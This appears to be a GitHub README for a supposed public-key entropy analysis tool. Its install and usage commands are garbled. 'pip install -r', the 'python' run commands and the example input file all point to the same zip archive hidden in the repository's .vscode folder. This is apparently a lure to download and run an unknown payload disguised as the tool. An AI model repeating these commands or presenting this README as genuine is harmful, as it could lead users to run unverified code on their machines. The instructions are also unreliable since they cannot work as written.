Skip to content

Hipa319/public_key_bit_sorter

Repository files navigation

Public Key Bit Sorter 🔑

GitHub release Python License

Overview

Welcome to the Public Key Bit Sorter repository! This project focuses on bit-level entropy analysis of uncompressed public keys. It serves as a valuable tool for researchers and auditors in the fields of cryptography and blockchain analysis. By examining the entropy of public keys, users can gain insights into their randomness and security.

Table of Contents

Features

  • Bit-level Analysis: Perform detailed analysis of public keys to assess their entropy.
  • Multiprocessing Support: Utilize multiple cores for faster processing.
  • Command Line Interface: Easy to use CLI for seamless integration into your workflow.
  • Progress Tracking: Visual feedback on processing with the tqdm library.
  • Cross-Platform: Works on Windows, macOS, and Linux.

Installation

To get started, download the latest release from the Releases section. Follow these steps to install:

  1. Download the release file.

  2. Extract the contents.

  3. Open your terminal or command prompt.

  4. Navigate to the extracted folder.

  5. Run the following command to install the necessary dependencies:

    pip install -r https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip

Usage

Once you have installed the Public Key Bit Sorter, you can use it directly from the command line. Here’s a simple command to analyze a public key:

python https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip <path_to_public_key_file>

Example

If you have a public key file named https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip, you would run:

python https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip

The tool will process the file and provide an analysis of the entropy.

How It Works

The Public Key Bit Sorter operates by reading uncompressed public keys and calculating their bit-level entropy. Here's a brief overview of the process:

  1. Input: The user provides a file containing public keys.
  2. Bit Extraction: The program extracts the bits from each key.
  3. Entropy Calculation: It calculates the entropy of the bits using statistical methods.
  4. Output: The results are displayed in the terminal, showing the entropy score and other relevant metrics.

Entropy Explained

Entropy is a measure of randomness. In the context of cryptography, high entropy indicates that a key is less predictable and therefore more secure. The Public Key Bit Sorter provides a numerical value representing the entropy of each public key analyzed.

Contributing

We welcome contributions to improve the Public Key Bit Sorter. If you want to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them with clear messages.
  4. Push your branch to your forked repository.
  5. Create a pull request.

Please ensure that your code adheres to the project's coding standards and that you have tested your changes.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or feedback, feel free to reach out:

Thank you for your interest in the Public Key Bit Sorter! For the latest updates and releases, please check the Releases section.

Packages

 
 
 

Contributors

Languages